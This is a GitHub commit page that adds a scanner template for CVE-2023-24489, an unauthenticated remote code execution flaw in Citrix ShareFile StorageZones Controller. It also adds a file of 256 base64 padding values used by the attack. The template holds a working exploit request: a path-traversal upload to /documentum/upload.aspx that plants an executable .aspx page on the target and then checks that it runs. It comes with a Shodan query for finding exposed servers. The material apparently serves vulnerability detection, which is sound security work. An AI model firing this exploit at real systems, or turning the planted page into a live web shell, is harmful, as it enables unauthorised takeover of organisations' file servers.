-
Notifications
You must be signed in to change notification settings - Fork 2.4k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
CVE-2023-24489 馃敟 Citrix ShareFile StorageZones Controller - RCE (#7664)
* Create CVE-2023-24489 * Add files via upload * fuzz tag updation * Rename CVE-2023-24489 to CVE-2023-24489.yaml * Update http/cves/2023/CVE-2023-24489.yaml Co-authored-by: Dwi Siswanto <me@dw1.io> * changes as per review * misc update * variable update * more strict matcher --------- Co-authored-by: Sandeep Singh <sandeep@projectdiscovery.io> Co-authored-by: Dwi Siswanto <me@dw1.io> Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
- Loading branch information
4 people
committed
Jul 11, 2023
1 parent
55d7f7c
commit 8f7c078
Showing
2 changed files
with
314 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,256 @@ | ||
| QUFBQUFBQUFBQUFBQUFBAEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBAUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBAkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBA0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBBEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBBUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBBkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBB0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBCEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBCUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBCkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBC0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBDEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBDUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBDkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBD0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBEEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBEUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBEkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBE0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBFEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBFUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBFkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBF0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBGEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBGUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBGkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBG0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBHEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBHUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBHkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBH0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBIEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBIUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBIkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBI0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBJEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBJUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBJkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBJ0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBKEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBKUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBKkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBK0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBLEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBLUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBLkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBL0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBMEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBMUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBMkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBM0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBNEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBNUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBNkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBN0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBOEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBOUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBOkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBO0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBPEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBPUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBPkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBP0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBQEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBQ0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBREFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBRkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBR0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBSEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBSUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBSkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBS0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBTEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBTUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBTkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBT0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBUEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBUkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBU0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBVEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBVUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBVkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBV0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBWEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBWUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBWkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBW0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBXEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBXUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBXkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBX0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBYEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBYUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBYkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBY0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBZEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBZUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBZkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBZ0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBaEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBaUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBakFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBa0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBbEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBbUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBbkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBb0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBcEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBcUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBckFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBc0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBdEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBdUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBdkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBd0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBeEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBeUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBekFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBe0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBfEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBfUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBfkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBf0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBgEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBgUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBgkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBg0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBhEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBhUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBhkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBh0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBiEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBiUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBikFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBi0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBjEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBjUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBjkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBj0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBkEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBkUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBkkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBk0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBlEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBlUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBlkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBl0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBmEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBmUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBmkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBm0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBnEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBnUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBnkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBn0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBoEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBoUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBokFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBo0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBpEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBpUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBpkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBp0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBqEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBqUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBqkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBq0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBrEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBrUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBrkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBr0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBsEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBsUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBskFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBs0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBtEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBtUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBtkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBt0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBuEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBuUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBukFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBu0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBvEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBvUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBvkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBv0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBwEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBwUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBwkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBw0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBxEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBxUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBxkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBx0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFByEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFByUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBykFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBy0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBzEFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBzUFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBzkFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFBz0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB0EFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB0UFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB0kFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB00FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB1EFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB1UFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB1kFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB10FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB2EFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB2UFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB2kFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB20FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB3EFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB3UFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB3kFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB30FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB4EFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB4UFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB4kFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB40FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB5EFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB5UFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB5kFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB50FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB6EFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB6UFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB6kFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB60FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB7EFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB7UFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB7kFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB70FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB8EFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB8UFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB8kFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB80FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB9EFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB9UFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB9kFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB90FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB+EFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB+UFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB+kFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB+0FBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB/EFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB/UFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB/kFBQUFBQUFBQUFBQUFBQUE= | ||
| QUFBQUFBQUFBQUFBQUFB/0FBQUFBQUFBQUFBQUFBQUE= |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,58 @@ | ||
| id: CVE-2023-24489 | ||
|
|
||
| info: | ||
| name: Citrix ShareFile StorageZones Controller - Unauthenticated Remote Code Execution | ||
| author: DhiyaneshDK,dwisiswant0 | ||
| severity: critical | ||
| description: | | ||
| A vulnerability has been discovered in the customer-managed ShareFile storage zones controller which, if exploited, could allow an unauthenticated attacker to remotely compromise the customer-managed ShareFile storage zones controller. | ||
| reference: | ||
| - https://nvd.nist.gov/vuln/detail/CVE-2023-24489 | ||
| - https://blog.assetnote.io/2023/07/04/citrix-sharefile-rce/ | ||
| classification: | ||
| cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | ||
| cvss-score: 9.8 | ||
| cve-id: CVE-2023-24489 | ||
| cpe: cpe:2.3:a:citrix:sharefile_storagezones_controller:*:*:*:*:*:*:*:* | ||
| metadata: | ||
| max-request: 256 | ||
| shodan-query: title:"ShareFile Storage Server" | ||
| verified: true | ||
| vendor: citrix | ||
| product: sharefile_storagezones_controller | ||
| tags: cve,cve2023,sharefile,rce,intrusive,fileupload,fuzz | ||
|
|
||
| variables: | ||
| fileName: '{{rand_base(8)}}' | ||
|
|
||
| http: | ||
| - raw: | ||
| - | | ||
| POST /documentum/upload.aspx?parentid={{url_encode(padding)}}&raw=1&unzip=on&uploadid={{fileName}}\..\..\..\cifs&filename={{fileName}}.aspx HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| <%@ Page Language="C#" Debug="true" Trace="false" %> | ||
| <script Language="c#" runat="server"> | ||
| void Page_Load(object sender, EventArgs e) | ||
| { | ||
| Response.Write("{{randstr}}"); | ||
| } | ||
| </script> | ||
| payloads: | ||
| padding: helpers/payloads/citrix_paddings.txt | ||
|
|
||
| threads: 30 | ||
| stop-at-first-match: true | ||
| matchers: | ||
| - type: dsl | ||
| dsl: | ||
| - 'body == "ERROR: The method or operation is not implemented."' | ||
| - 'status_code == 200' | ||
| condition: and | ||
|
|
||
| extractors: | ||
| - type: dsl | ||
| dsl: | ||
| - 'BaseURL+ "/cifs/" + fileName + ".aspx"' |